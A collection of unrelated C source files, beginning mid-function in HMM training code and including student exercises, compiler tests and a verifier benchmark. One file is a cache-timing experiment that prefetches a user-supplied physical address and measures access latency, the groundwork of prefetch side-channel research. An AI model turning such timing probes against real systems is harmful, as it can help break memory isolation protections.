double *coef_vector, /* vector of coefficients */
double *mean, /* mixture mean vector */
double inv_cov[MAX_COEF_NUMBER][MAX_COEF_NUMBER], /* inverse covariance matrix */
double det) /* covariance matrix determinant */
{
double dif[MAX_COEF_NUMBER];
double aux = 0.0; /* auxiliar variables */
double aux1;
double aux2;
double temp;
double gaus;
register int i,j;
/* gaussian probability density computation */
aux1 = 2.0*M_PI;
aux2 = coef_number/2.0;
aux1 = pow(aux1,aux2);
if (det != 0)
{
aux2 = fabs(det);
aux2 = pow(aux2,0.5);
for (i=0;i<coef_number;i++)
{
dif[i] = coef_vector[i] - mean[i];
}
for (i=0;i<coef_number;i++)
{
temp = 0.0;
for (j=0;j<coef_number;j++)
{
temp += dif[j]*inv_cov[j][i];
}
aux += dif[i]*temp;
}
aux *= (-0.5);
aux = exp(aux);
gaus = aux/(aux1*aux2);
if (isinf(gaus) == 1)
{
gaus = 1e20;
}
}
return(gaus);
} /* end of function calc_gaus */
/*
********************************************************************************
* *
* updating_transition_probab: *
* *
* This function updates the transition probabilities. *
* *
* input: states_number, num_trans_probab, den_trans_probab. *
* *
* output: transition_probab. *
* *
********************************************************************************
*/
void updating_transition_probab(int states_number, /* number of states */
double num_trans_probab[MAX_STATES_NUMBER][MAX_STATES_NUMBER], /* variable to calculate transition probabilities */
double *den_trans_probab, /* variable to calculate transition probabilities */
double transition_probab[MAX_STATES_NUMBER][MAX_STATES_NUMBER]) /* transition probabilities */
{
double sum;
register int i,j;
/* updating transition probabilities */
for (i=0;i<states_number;i++)
{
if (den_trans_probab[i] != 0.0)
{
sum = 0.0;
for (j=0;j<states_number;j++)
{
transition_probab[i][j] = num_trans_probab[i][j]/den_trans_probab[i];
sum += transition_probab[i][j];
}
if (sum > 1.001 || sum < 0.999) printf("error on computing transition probabilities: sum = %f \n",sum);
}
}
} /* end of function updating_transition_probab */
/*
********************************************************************************
* *
* updating_mix_param: *
* *
* This function updates the mixture parameters. *
* *
* input: states_number, mixture_number, coef_number, den_mixture_coef, *
* num_mix_coef, state_mix. *
* *
* output: state_mix. *
* *
********************************************************************************
*/
void updating_mix_param(int states_number, /* number of states */
int mixture_number, /* number of mixtures */
int coef_number, /* number of coefficients per vector */
double *den_mixture_coef, /* variable to calculate mixture coefficients */
struct state *num_mix_param, /* variable to calculate transition probabilities */
struct state *state_mix) /* mixture parameters */
{
double sum ;
register int i,j,k,l;
for (i=0;i<states_number;i++)
{
if (den_mixture_coef[i] != 0.0)
{
for (j=0;j<mixture_number;j++)
{
state_mix[i].mix_coef[j] = num_mix_param[i].mix_coef[j]/den_mixture_coef[i];
for (k=0;k<coef_number;k++)
{
state_mix[i].mix[j].mean[k] = num_mix_param[i].mix[j].mean[k]/num_mix_param[i].mix_coef[j];
for (l=k;l<coef_number;l++)
state_mix[i].mix[j].cov_matrix[k][l] = num_mix_param[i].mix[j].cov_matrix[k][l]/num_mix_param[i].mix_coef[j];
}
for (k=0;k<coef_number;k++)
if (state_mix[i].mix[j].cov_matrix[k][k] < FINITE_PROBAB)
state_mix[i].mix[j].cov_matrix[k][k] = FINITE_PROBAB;
for (k=1;k<coef_number;k++)
for(l=0;l<k;l++)
state_mix[i].mix[j].cov_matrix[k][l] = state_mix[i].mix[j].cov_matrix[l][k];
}
}
}
/* changing values of less than a threshould */
for (i=0;i<states_number;i++)
changing_zero_coef(mixture_number,state_mix[i].mix_coef);
for (i=0;i<states_number;i++)
{
sum = 0.0;
for (j=0;j<mixture_number;j++)
sum += state_mix[i].mix_coef[j];
if (sum > 1.001 || sum < 0.999)
printf("error on computing mixture coefficients: sum = %f \n", sum);
}
} /* end of function updating_mixture_param */
/*
********************************************************************************
* *
* calc_det: *
* *
* This function computes the diagonal matrix determinant. *
* *
* input: coef_number, matrix. *
* *
* output: det. *
* *
********************************************************************************
*/
double calc_det(int coef_number, /* number of coefficients per vector */
double *d_matrix) /* diagonal matrix */
{
double det; /* matrix determinant */
register int i;
det = 1.0;
for (i=0;i<coef_number;i++) det *= d_matrix[i];
return(det);
} /* end of function calc_det */
/*
********************************************************************************
* *
* decomposition: *
* *
* This function decomposes the covariance matrix as T' D T, *
* where: D is a diagonal matrix, T is a lower triangular matrix (whose main *
* diagonal elements are all 1's). *
* *
* input: coef_number, cov_matrix. *
* *
* output: d_matrix, t_matrix. *
* *
********************************************************************************
*/
void decomposition(int coef_number, /* number of coefficients per vector */
double cov_matrix[MAX_COEF_NUMBER][MAX_COEF_NUMBER], /* covariance matrix */
double *d_matrix, /* diagonal matrix */
double t_matrix[MAX_COEF_NUMBER][MAX_COEF_NUMBER]) /* triangular matrix */
{
register int i,j,k;
for (i=0;i<coef_number;i++) d_matrix[i] = 0.0;
for (i=0;i<coef_number-1;i++)
{
t_matrix[i][i] = 1.0;
for (j=i+1;j<coef_number;j++) t_matrix[i][j] = 0.0;
}
t_matrix[coef_number-1][coef_number-1] = 1.0;
j = 0;
d_matrix[0] = cov_matrix[0][0];
for (i=1;i<coef_number;i++) t_matrix[i][0] = cov_matrix[i][0]/d_matrix[0];
for (j=1;j<coef_number-1;j++)
{
d_matrix[j] = cov_matrix[j][j];
for (k=0;k<j;k++) d_matrix[j] -= t_matrix[j][k]*t_matrix[j][k]*d_matrix[k];
for (i=j+1;i<coef_number;i++)
{
t_matrix[i][j] = cov_matrix[i][j];
for (k=0;k<j;k++) t_matrix[i][j] -= t_matrix[i][k]*d_matrix[k]*t_matrix[j][k];
t_matrix[i][j] /= d_matrix[j];
}
}
j= coef_number-1;
d_matrix[j] = cov_matrix[j][j];
for (k=0;k<j;k++) d_matrix[j] -= t_matrix[j][k]*t_matrix[j][k]*d_matrix[k];
} /* end of function decomposition */
/*
********************************************************************************
* *
* inv_triang_matrix: *
* *
* This function inverts a lower triangular matrix. *
* *
* input: coef_number, matrix. *
* *
* output: i_matrix. *
* *
********************************************************************************
*/
void inv_triang_matrix(int coef_number, /* number of coefficients per vector */
double matrix[MAX_COEF_NUMBER][MAX_COEF_NUMBER], /* triangular matrix */
double i_matrix[MAX_COEF_NUMBER][MAX_COEF_NUMBER]) /* inverse triangular matrix */
{
register int i,j,k,l;
for (i=0;i<coef_number-1;i++)
{
i_matrix[i][i] = 1.0;
for (j=i+1;j<coef_number;j++)
i_matrix[i][j] = 0.0;
}
i_matrix[coef_number-1][coef_number-1] = 1.0;
for (k=0;k<coef_number-1;k++)
{
for (i=k+1;i<coef_number;i++)
{
j = i-k-1;
i_matrix[i][j] = 0.0;
for (l=j;l<i;l++) i_matrix[i][j] -= matrix[i][l]*i_matrix[l][j];
}
}
} /* end of function inv_triang_matrix */
/*
********************************************************************************
* *
* inv_cov_matrix: *
* *
* This function inverts a covariance matrix. *
* *
* input: coef_number, cov_matrix. *
* *
* output: cov_matrix. *
* *
********************************************************************************
*/
double inv_cov_matrix(int coef_number, /* number of coefficients per vector */
double cov_matrix[MAX_COEF_NUMBER][MAX_COEF_NUMBER]) /* covariance matrix */
{
double d_matrix[MAX_COEF_NUMBER]; /* diagonal matrix */
double t_matrix[MAX_COEF_NUMBER][MAX_COEF_NUMBER]; /* triangular matrix */
double i_matrix[MAX_COEF_NUMBER][MAX_COEF_NUMBER]; /* inverse triangular matrix */
double det;
register int i,j,k;
decomposition(coef_number,cov_matrix,d_matrix,t_matrix);
det = calc_det(coef_number,d_matrix);
if (isnan(det) == 1) det = 0.0;
if (det != 0.0)
{
inv_triang_matrix(coef_number,t_matrix,i_matrix);
for (i=0;i<coef_number;i++)
{
cov_matrix[i][i] = 0.0;
for (j=i;j<coef_number;j++)
cov_matrix[i][i] += i_matrix[j][i]*i_matrix[j][i]/d_matrix[j];
}
for (i=0;i<coef_number-1;i++)
{
for (j=i+1;j<coef_number;j++)
{
cov_matrix[i][j] = 0.0;
for (k=j;k<coef_number;k++)
cov_matrix[i][j] += i_matrix[k][i]*i_matrix[k][j]/d_matrix[k];
cov_matrix[j][i] = cov_matrix[i][j];
}
}
}
return(det);
} /* end of function inv_cov_matrix */
/*
********************************************************************************
* *
* treat_zero_det: *
* *
* This function creates a new parameters for a mixture with covariance *
* matrix equal to zero by splitting the parameters of a mixture with the *
* biggest coefficient. *
* *
* input: coef_number, mixture_number, state_mix. *
* *
* output: state_mix. *
* *
********************************************************************************
*/
void treat_zero_det(int coef_number, /* number of coefficients */
int mixture_number, /* number of mixtures */
struct state *state_mix) /* pointer to mixtures */
{
double vector[MAX_MIXTURE_NUMBER];
int index_sort[MAX_MIXTURE_NUMBER];
double sum;
register int i,j,k,l,m;
for (j=0;j<mixture_number;j++) vector[j] = state_mix->mix[j].det;
sorting(vector,index_sort,mixture_number);
i = 0;
for (j=0;j<mixture_number;j++)
{
if (state_mix->mix[j].det < 1e-20)
{
l = index_sort[i++];
for (k=0;k<coef_number;k++)
state_mix->mix[j].mean[k] = state_mix->mix[l].mean[k]*(1.05);
for (k=0;k<coef_number;k++)
state_mix->mix[l].mean[k] = state_mix->mix[l].mean[k]*(0.95);
for (m=0;m<coef_number;m++)
for (k=0;k<coef_number;k++)
state_mix->mix[j].cov_matrix[m][k] = state_mix->mix[l].cov_matrix[m][k];
state_mix->mix[j].det = state_mix->mix[l].det;
state_mix->mix_coef[l] /= 2.0;
state_mix->mix_coef[j] = state_mix->mix_coef[l];
} /* end of if */
} /* end of for */
sum = 0.0;
for (j=0;j<mixture_number;j++) sum += state_mix->mix_coef[j];
for (j=0;j<mixture_number;j++) state_mix->mix_coef[j] /= sum;
} /* end of function treat_zero_det */
/*
********************************************************************************
* *
* writing_model: *
* *
* This function writes the model created. *
* *
* input: output_file, states_number, param_number, mixture_number, *
* coef_number,transition_probab, state_mix, word. *
* *
* output: void. *
* *
********************************************************************************
*/
void writing_model(char *output_file, /* output file name */
int states_number, /* number of states */
int param_number, /* number of parameters */
int *mixture_number, /* number of mixtures */
int *coef_number, /* number of coefficients */
double transition_probab[MAX_STATES_NUMBER][MAX_STATES_NUMBER], /* transition probabilities */
struct state state_mix[MAX_PARAMETERS_NUMBER][MAX_STATES_NUMBER], /* mixtures parameters */
char *word) /* word that is represented by the model */
{
register int i,j,k,l;
size_t length;
length = strlen(word);
fwrite(&length,sizeof(size_t),1,f_out); /* writing length of word */
if (ferror(f_out))
{
printf("writing error on file %s \n",output_file);
exit(1);
}
fwrite(word,sizeof(char),length,f_out); /* writing word */
if (ferror(f_out))
{
printf("writing error on file %s \n",output_file);
exit(1);
}
fwrite(&states_number, sizeof(int),1,f_out); /* writing number of states */
if (ferror(f_out))
{
printf("writing error on file %s \n",output_file);
exit(1);
}
fwrite(¶m_number, sizeof(int),1,f_out); /* writing number of parameters */
if (ferror(f_out))
{
printf("writing error on file %s \n",output_file);
exit(1);
}
fwrite(mixture_number,sizeof(int),param_number,f_out); /* writing number of mixtures */
if (ferror(f_out))
{
printf("writing error on file %s \n",output_file);
exit(1);
}
fwrite(coef_number,sizeof(int),param_number,f_out); /* writing number of coefficients */
if (ferror(f_out))
{
printf("writing error on file %s \n",output_file);
exit(1);
}
/* writing transition probabilities */
for (i=0;i<states_number;i++)
{
fwrite(transition_probab[i],sizeof(double),states_number,f_out);
if (ferror(f_out))
{
printf("writing error on file %s \n",output_file);
exit(1);
}
}
/* writing mixture parameters */
for (i=0;i<param_number;i++)
{
for (j=0;j<states_number;j++)
{
/* writing mixture coefficients */
fwrite(state_mix[i][j].mix_coef,sizeof(double),mixture_number[i],f_out);
if (ferror(f_out))
{
printf("writing error on file %s \n",output_file);
exit(1);
}
for (k=0;k<mixture_number[i];k++)
{
/* writing mixture mean */
fwrite(state_mix[i][j].mix[k].mean,sizeof(double),coef_number[i],f_out);
if (ferror(f_out))
{
printf("writing error on file %s \n",output_file);
exit(1);
}
/* writing covariance matrix determinat */
fwrite(&(state_mix[i][j].mix[k].det),sizeof(double),1,f_out);
if (ferror(f_out))
{
printf("writing error on file %s \n",output_file);
exit(1);
}
/* writing inverse covariance matrix (full) */
for (l=0;l<coef_number[i];l++)
{
fwrite(state_mix[i][j].mix[k].cov_matrix[l],sizeof(double),coef_number[i],f_out);
if (ferror(f_out))
{
printf("writing error on file %s \n",output_file);
exit(1);
}
}
}
}
}
} /* end of function writing_model */
/*
********************************************************************************
* *
* writing_text: *
* *
* This function writes a text file. *
* *
* input: out_file2, output_file,word, states_number, param_number, *
* mixture_number,data_file,starting_time_f,ending_time_f,cpu_time_f, *
* exemplar_number,probab,iteration. *
* *
* output: void. *
* *
********************************************************************************
*/
void writing_text(char *out_file2, /* text file name */
char *output_file, /* model file name */
char *word, /* word that is represented by the model */
int states_number, /* number of states */
int param_number, /* number of parameters */
int *mixture_number, /* number of mixtures */
char data_file[MAX_PARAMETERS_NUMBER][100], /* data file */
char *starting_time_f, /* starting time */
char *ending_time_f, /* ending time */
char *cpu_time_f, /* cpu time */
int exemplar_number, /* number of exemplar in training sequence */
double probab, /* mean probab */
int iteration) /* number of iterations */
{
register int i;
fprintf(f_out,"Continuous HMM created using Forward Backward algorithm. It is considered full covariance matrix. It is considered a final state.\n");
if (ferror(f_out))
{
printf("writing error on file %s \n",out_file2);
exit(1);
}
fprintf(f_out,"model file: %s \n", output_file);
if (ferror(f_out))
{
printf("writing error, file %s \n",out_file2);
exit(1);
}
fprintf(f_out,"word: %s \n", word);
if (ferror(f_out))
{
printf("writing error, file %s \n",out_file2);
exit(1);
}
fprintf(f_out,"number of states: %d \n", states_number);
if (ferror(f_out))
{
printf("writing error on file %s \n",out_file2);
exit(1);
}
fprintf(f_out,"number of parameters: %d \n", param_number);
if (ferror(f_out))
{
printf("writing error on file %s \n",out_file2);
exit(1);
}
for (i=0;i<param_number;i++)
{
fprintf(f_out,"number of mixtures %d: %d \n", (i+1),mixture_number[i]);
if (ferror(f_out))
{
printf("writing error on file %s \n",out_file2);
exit(1);
}
}
for (i=0;i<param_number;i++)
{
fprintf(f_out,"parameter %d: %s \n", (i+1),data_file[i]);
if (ferror(f_out))
{
printf("writing error on file %s \n",out_file2);
exit(1);
}
}
fprintf(f_out,"threshould to finish training: %f \n",THRESHOULD);
if (ferror(f_out))
{
printf("writing error on file %s \n",out_file2);
exit(1);
}
fprintf(f_out,"number of exemplars in training sequence: %d \n",exemplar_number);
if (ferror(f_out))
{
printf("writing error on file %s \n",out_file2);
exit(1);
}
fprintf(f_out,"mean probability: %f \n",probab);
if (ferror(f_out))
{
printf("writing error on file %s \n",out_file2);
exit(1);
}
fprintf(f_out,"number of iterations: %d \n",iteration);
if (ferror(f_out))
{
printf("writing error on file %s \n",out_file2);
exit(1);
}
fprintf(f_out,"starting time: %s \n",starting_time_f);
if (ferror(f_out))
{
printf("writing error on file %s \n",out_file2);
exit(1);
}
fprintf(f_out,"ending time: %s \n",ending_time_f);
if (ferror(f_out))
{
printf("writing error on file %s \n",out_file2);
exit(1);
}
fprintf(f_out,"cpu time: %s \n",cpu_time_f);
if (ferror(f_out))
{
printf("writing error on file %s \n",out_file2);
exit(1);
}
} /* end of function writing_text */
|
the_stack_data/215767130.c | /*
* Copyright (C) 2016-2020 Rahmat M. Samik-Ibrahim
* http://rahmatm.samik-ibrahim.vlsm.org/
* This program is free script/software. This program is distributed in the
* hope that it will be useful, but WITHOUT ANY WARRANTY; without even the
* implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* REV07 Tue Mar 24 12:06:10 WIB 2020
* REV06 Wed Aug 29 16:11:46 WIB 2018
* REV05 Wed Nov 1 13:30:44 WIB 2017
* START Mon Oct 24 09:42:05 WIB 2016
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void main(void) {
printf(" [[[ This is 00-show-pid: PID[%d] PPID[%d] ]]]\n", getpid(), getppid());
}
/*
# INFO: Get PID dan PPID.
# INFO: PID means Process ID (identification)
# INFO: to get PID, call system function getpid().
# INFO: PPID means Parent Process ID
# INFO: to get PPID, call system function getppid().
*/
|
the_stack_data/137834.c | #include <stdio.h>
/**
* main - Entry point
* Description: prints all possible different combinations of three digits
* Return: Always 0 (Success)
*/
int main(void)
{
int first;
int second;
int third;
int count = 0;
int comma = 44;
int space = 32;
for (first = 48; first <= 55; first++)
{
for (second = (49 + count); second <= 56; second++)
{
for (third = (second + 1); third <= 57; third++)
{
putchar(first);
putchar(second);
putchar(third);
if (first == 55 && second == 56 && third == 57)
{
putchar('\n');
return (0);
}
putchar(comma);
putchar(space);
}
}
count++;
}
return (0);
}
|
the_stack_data/100139276.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int cond) { if(!(cond)) { ERROR: __VERIFIER_error(); } }
#define size 200
int main( )
{
int a[size];
int b[size];
int i = 1;
int j = 0;
while( i < size )
{
a[j] = b[i];
i = i+8;
j = j+1;
}
i = 1;
j = 0;
while( i < size )
{
__VERIFIER_assert( a[j] == b[8*j+1] );
i = i+8;
j = j+1;
}
return 0;
}
|
the_stack_data/176706031.c | // RUN: rm -rf %t.dir
// RUN: rm -rf %t-cdb.json
// RUN: mkdir -p %t.dir
// RUN: cp %s %t.dir/static-analyzer.c
// RUN: mkdir %t.dir/Inputs
// RUN: cp %S/Inputs/header.h %t.dir/Inputs/analyze_header_input.h
// RUN: sed -e "s|DIR|%/t.dir|g" %S/Inputs/static-analyzer-cdb.json > %t-cdb.json
//
// RUN: clang-scan-deps -compilation-database %t-cdb.json -j 1 | FileCheck %s
#ifdef __clang_analyzer__
#include "Inputs/analyze_header_input.h"
#endif
// CHECK: analyze_header_input.h
|
the_stack_data/36074839.c | #include <stdio.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
void loc (long long r, int n)
{
int *a;
int i = 0;
a = (int*) malloc (n * sizeof(int));
while (r != 0)
{
a[i] = r % 2;
r = r / 2;
i++;
}
for (i = 0; i <= (n - 1); i++)
{
printf("%d", a[(n - 1) - i]);
}
free(a);
}
int main()
{
const char name[] = "Vladislav";
const char surname[] = "Miroshnikov";
const char patronymic[] = "Igorevich";
int proizv = strlen(name) * strlen(surname) * strlen(patronymic);
printf("The product is equal: %d\n", proizv);
long long b = pow(2, 32) - proizv;
printf("negative 32bit integer is = ");
loc(b, 32);
float f = proizv;
int x = *((int*)& f);
printf("\npositive floating point number (single precision, IEEE 754) is = 0"); //0 because positive
loc(x, 31);
double g = proizv;
long long l = *((long long*)& g);
printf("\nneg. fl. point number (double prec., IEEE 754) is = 1"); //1 because negative
loc(l, 63);
return 0;
} |
the_stack_data/206392781.c | #define _GNU_SOURCE
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#ifndef HIDEMINMAX
#define MAX(X,Y) (((X) > (Y)) ? (X) : (Y))
#define MIN(X,Y) (((X) < (Y)) ? (X) : (Y))
#endif
#define maccess(X) (*(volatile size_t*)X)
#define HIST_LEN (250)
#define TRIES (10*1024)
#define NB_PREFETCH (10)
char* array;
inline __attribute__((always_inline)) uint64_t rdtsc_begin()
{
uint64_t a, d;
asm volatile ("mfence\n\t"
"rdtsc\n\t" // rdtscp not supported by NaCl, revert to rdtsc
"mov %%rdx, %0\n\t"
"mov %%rax, %1\n\t"
"xor %%rax, %%rax\n\t"
"cpuid\n\t"
: "=r" (d), "=r" (a)
:
: "%rax", "%rbx", "%rcx", "%rdx");
a = (d<<32) | a;
return a;
}
inline __attribute__((always_inline)) uint64_t rdtsc_end()
{
uint64_t a, d;
asm volatile(
"xor %%rax, %%rax\n\t"
"cpuid\n\t"
"rdtsc\n\t" // rdtscp not supported by NaCl, revert to rdtsc
"mov %%rdx, %0\n\t"
"mov %%rax, %1\n\t"
"mfence\n\t"
: "=r" (d), "=r" (a)
:
: "%rax", "%rbx", "%rcx", "%rdx");
a = (d<<32) | a;
return a;
}
inline __attribute__((always_inline)) void evict_all()
{
size_t evict_size = 1024*1024;
size_t array[evict_size];
int i;
for(i=0; i<evict_size; i++)
{
array[i] = 0;
}
}
int main()
{
/*
volatile uint32_t reg[4];
__asm__ __volatile__(
"cpuid"
: "=a"(reg[3]), "=b"(reg[0]), "=c"(reg[2]), "=d"(reg[1])
: "a"(0)
: "cc");
printf("%s\n", (char *)reg);
*/
//memset(array,1,5*1024*sizeof(char));
array = mmap(NULL, 1024*1024*1024, PROT_READ | PROT_WRITE, MAP_POPULATE | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
memset(array,-1,4*1024*1024);
char* p = (void*)(((size_t)array+2*1024*1024) >> 21 << 21);
size_t hit_histogram[HIST_LEN];
size_t miss_histogram[HIST_LEN];
size_t prefetch_histogram[HIST_LEN];
memset(hit_histogram,0,HIST_LEN*sizeof(size_t));
memset(miss_histogram,0,HIST_LEN*sizeof(size_t));
memset(prefetch_histogram,0,HIST_LEN*sizeof(size_t));
int i,j;
char* line;
char* end;
size_t n;
printf("what is the address of %p?\n",p);
fflush(stdout);
getline(&line,&n,stdin);
uint64_t phys = strtoull(line,&end,16);
printf("%llx\n", phys);
memset(array,-1,1024*1024*1024);
/*
// Histogram: maccess
for(i=0; i<TRIES; i++)
{
size_t time = rdtsc_begin();
maccess(array);
size_t delta = rdtsc_end() - time;
hit_histogram[MIN(HIST_LEN-1,delta)]++;
}
*/
// Histogram: maccess, evict
for(i=0; i<TRIES; i++)
{
size_t time = rdtsc_begin();
maccess(p);
size_t delta = rdtsc_end() - time;
miss_histogram[MIN(HIST_LEN-1,delta)]++;
evict_all();
}
// Histogram: prefetch, maccess, evict
for(i=0; i<TRIES; i++)
{
for(j=0; j<3; j++)
{
sched_yield();
//asm volatile ("prefetchnta (%0)" : : "r" ((uint64_t)(uint32_t)array));
//asm volatile ("prefetcht2 (%0)" : : "r" ((uint64_t)(uint32_t)array));
__builtin_prefetch((void*)p, 0, 0); //prefetchnta
__builtin_prefetch((void*)p, 0, 1); //prefetcht2
}
size_t time = rdtsc_begin();
maccess(p);
size_t delta = rdtsc_end() - time;
prefetch_histogram[MIN(HIST_LEN-1,delta)]++;
evict_all();
}
// Histogram: prefetch, maccess, evict
for(i=0; i<TRIES; i++)
{
for(j=0; j<3; j++)
{
sched_yield();
asm volatile ("prefetchnta (%%rax)" : : "a" (phys));
//asm volatile ("prefetcht2 (%)" : : "a" (phys));
//__builtin_prefetch(phys, 0, 0); //prefetchnta
//__builtin_prefetch(phys, 0, 1); //prefetcht2
}
size_t time = rdtsc_begin();
maccess(p);
size_t delta = rdtsc_end() - time;
hit_histogram[MIN(HIST_LEN-1,delta)]++;
evict_all();
}
// Pretty print histograms
for(i=150; i<HIST_LEN; i++)
{
printf("%3d: %10zu %10zu %10zu\n", i, hit_histogram[i], miss_histogram[i], prefetch_histogram[i]);
}
return 0;
}
|
the_stack_data/138822.c | #include <stdio.h>
#include <stdlib.h>
char square[10] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9'};
int choice, player;
int checkForWin();
void displayBoard();
void markBoard ( char mark);
int main()
{ int gameStatus = -1;
char mark;
player = 1;
do
{ displayBoard();
player = ( player % 2) ? 1 : 2 ;
printf(" Player %d, enter a value\n", player);
scanf("%d", &choice);
if ( player == 1)
{ mark = 'X';}
else
{ mark = 'O';}
markBoard( mark );
gameStatus = checkForWin();
player++;
}
while ( gameStatus == -1);
if ( gameStatus == 1)
{ displayBoard();
printf("Player %d wins\n", --player);}
else
{displayBoard();
printf("Game Drawn");}
return 0;
}
/*****FUNCTION TO CHECK GAME STATUS
1 FOR GAME IS OVER WITH RESULT
-1 FOR GAME IS IN PROGRESS
0 FOR GAME IS OVER WITHOUT ANY RESULT*****/
int checkForWin()
{ int returnValue = -1;
if ( square[1] == square[2] && square[2] == square[3])
{returnValue = 1;}
else if ( square[4] == square[5] && square[5] == square[6])
{returnValue = 1;}
else if ( square[7] == square[8] && square[8] == square[9])
{returnValue = 1;}
else if ( square[1] == square[4] && square[4] == square[7])
{returnValue = 1;}
else if ( square[2] == square[5] && square[5] == square[8])
{returnValue = 1;}
else if ( square[3] == square[6] && square[6] == square[9])
{returnValue = 1;}
else if ( square[1] == square[5] && square[5] == square[9])
{returnValue = 1;}
else if ( square[3] == square[5] && square[5] == square[7])
{returnValue = 1;}
else if ( square[1] != '1' && square[2] != '2' && square[3] != '3'
&& square[4] != '4'&& square[5] != '5' && square[6] != '6' &&
square[7] != '7' && square[8] != '8' && square[9] != '9' )
{ returnValue = 0;}
return returnValue;
}
/***** FUNCTION TO DRAW BOARD WITH PLAYERS' MARK *****/
void displayBoard()
{
system("cls");
printf("\n\n TIC TAC TOE \n\n");
printf("PLAYER 1 (X) -- PLAYER 2 (O) \n\n\n");
printf(" | | \n");
printf(" %c | %c | %c \n", square[1], square[2], square[3]);
printf("___|___|___\n");
printf(" | | \n");
printf(" %c | %c | %c \n", square[4], square[5], square[6]);
printf("___|___|___\n");
printf(" | | \n");
printf(" %c | %c | %c \n\n\n", square[7], square[8], square[9]);
}
/***** SET THE BOARD WITH CHARACTERS X OR O AT THE CORRECT SPPOT IN THE ARRAY *****/
void markBoard( char mark)
{
if ( choice == 1 && square[1] == '1')
{ square[1] = mark;}
else if ( choice == 2 && square[2] == '2')
{ square[2] = mark;}
else if ( choice == 3 && square[3] == '3')
{ square[3] = mark;}
else if ( choice == 4 && square[4] == '4')
{ square[4] = mark;}
else if ( choice == 5 && square[5] == '5')
{ square[5] = mark;}
else if ( choice == 6 && square[6] == '6')
{ square[6] = mark;}
else if ( choice == 7 && square[7] == '7')
{ square[7] = mark;}
else if ( choice == 8 && square[8] == '8')
{ square[8] = mark;}
else if ( choice == 9 && square[9] == '9')
{ square[9] = mark;}
else {
printf("Invalid Move\n");
player--;
}
}
|
the_stack_data/125140609.c | /*
Autor: jorgeaah
Compilador: gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0 Copyright (C) 2019 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Compilado:
Fecha: dom 02 may 2021 11:43:55 CST
Librerias: stdio,
Resumen: Programa que a partir de unos datos bivariados genera una recta de ajuste lineal y su grafica.
Entrada:
Salida:
*/
//Librerias
#include <stdio.h>
#include <stdlib.h>
//Definiciones de constantes
#define NUMEROPARES 8
float suma_arreglo(float *arreglo, int numero_elementos);
float suma_cuadrado_arreglo(float *arreglo, int numero_elementos);
float suma_multiplicacion_arreglos(float *arreglo_1, float *arreglo_2, int numero_elementos);
float calcular_m(float *x, float *y, int numero_elementos);
float calcular_b(float *x, float *y, int numero_elementos);
int main()
{
int numero_pares = NUMEROPARES;
float x[NUMEROPARES] = {1.0F, 2.0F, 3.0F, 4.0F, 5.0F, 6.0F, 7.0F, 8.0F};
float y[NUMEROPARES] = {0.01F, 0.03F, 0.09F, 0.13F, 0.19F, 0.22F, 0.37F, 0.43F};
float incerteza = 0.01F;
float m = calcular_m(x, y, numero_pares);
float b = calcular_b(x,y, numero_pares);
//Mostrando los valores de salida
printf("Valor de m: %f. Valor de b: %f. \n",m,b);
printf("Estimacion despues de 23 semanas: %f. \n", b+m*23.0F);
//Escribiendo el script para gnuplot
FILE *fp;
fp = fopen("ajustelineal", "w+");
fprintf(fp, "set terminal wxt \n");
fprintf(fp, "set title \"Crecimiento de una planta\" \n");
fprintf(fp, "set xlabel \"Tiempo [semanas] \n");
fprintf(fp, "set xrange [0: 9] \n");
fprintf(fp, "set ylabel \"Altura [m]\" \n");
fprintf(fp, "set yrange [0: 0.5] \n");
fprintf(fp, "ajuste(x) = %f + %f*x \n", b,m);
fprintf(fp, "plot \"ajustelineal.dat\" using 1:2:3 with yerrorbars title \"Altura vrs tiempo\", ajuste(x) with lines title \"Ajuste lineal\" \n");
fclose(fp);
//Escribiendo el archivo .dat para gnuplot
fp = fopen("ajustelineal.dat", "w+");
for (int i = 0; i < numero_pares; i++)
{
fprintf(fp, "%f %f 0.01\n", x[i], y[i]);
}
fclose(fp);
//Llamando a gnuplot
system("gnuplot --persist ajustelineal");
return 0;
}
float suma_arreglo(float *arreglo, int numero_elementos)
{
float variable_retorno = 0.0F;
for (int i = 0; i < numero_elementos; i++)
{
variable_retorno += arreglo[i];
}
return variable_retorno;
}
float suma_cuadrado_arreglo(float *arreglo, int numero_elementos)
{
float variable_retorno = 0.0F;
for (int i = 0; i < numero_elementos; i++)
{
variable_retorno += arreglo[i]*arreglo[i];
}
return variable_retorno;
}
float suma_multiplicacion_arreglos(float *arreglo_1, float *arreglo_2, int numero_elementos)
{
float variable_retorno = 0.0F;
for (int i = 0; i < numero_elementos; i++)
{
variable_retorno += arreglo_1[i]*arreglo_2[i];
}
return variable_retorno;
}
float calcular_m(float *x, float *y, int numero_elementos)
{
float suma_x = suma_arreglo(x, numero_elementos);
float suma_y = suma_arreglo(y, numero_elementos);
float suma_xx = suma_cuadrado_arreglo(x, numero_elementos);
float suma_xy = suma_multiplicacion_arreglos(x, y, numero_elementos);
return (numero_elementos*suma_xy-suma_x*suma_y)/(numero_elementos*suma_xx-suma_x*suma_x);
}
float calcular_b(float *x, float *y, int numero_elementos)
{
float suma_x = suma_arreglo(x, numero_elementos);
float suma_y = suma_arreglo(y, numero_elementos);
float suma_xx = suma_cuadrado_arreglo(x, numero_elementos);
float suma_xy = suma_multiplicacion_arreglos(x, y, numero_elementos);
float m = (numero_elementos*suma_xy-suma_x*suma_y)/(numero_elementos*suma_xx-suma_x*suma_x);
return (suma_y-m*suma_x)/numero_elementos;
}
|
the_stack_data/215768126.c | #include <stdio.h>
const char *var = "UNKNOWN";
int main()
{
#if defined(__alpha__) || defined(__alpha) || defined(_M_ALPHA)
var = "ALPHA";
#endif
#if defined(__arm__) || defined(__thumb__) || defined(__TARGET_ARCH___TARGET_ARCH_THUMB)
var = "ARM";
#endif
#if defined(_CRAY)
var = "CRAY";
#endif
#if defined(_CRAY2)
var = "CRAY_2";
#endif
